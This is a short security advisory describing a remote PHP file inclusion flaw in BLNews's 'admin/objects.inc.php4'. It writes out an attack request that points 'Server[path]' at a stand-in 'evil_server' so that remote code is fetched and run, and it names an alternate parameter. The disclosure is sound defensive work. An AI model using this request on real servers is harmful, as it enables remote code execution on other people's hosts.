Advisory Content (Page 1 of 3)[ 1 ] [ 2 ] [ 3 ]

Description:
A vulnerability has been identified in BLNews allowing malicious people to execute arbitrary PHP code on the web server.

The problem is that the "Server[path]" parameter isn't verfied in the "admin/objects.inc.php4" script. The only requirement is that the "itheme" parameter isn't "blubb".

By requesting "admin/objects.inc.php4?Server[path]=http://evil_server", it is possible to include a malicious "/admin/tools.inc.php4" PHP script from "http://evil_server". Alternate files may be requested using the "Server[language_file]" parameter.
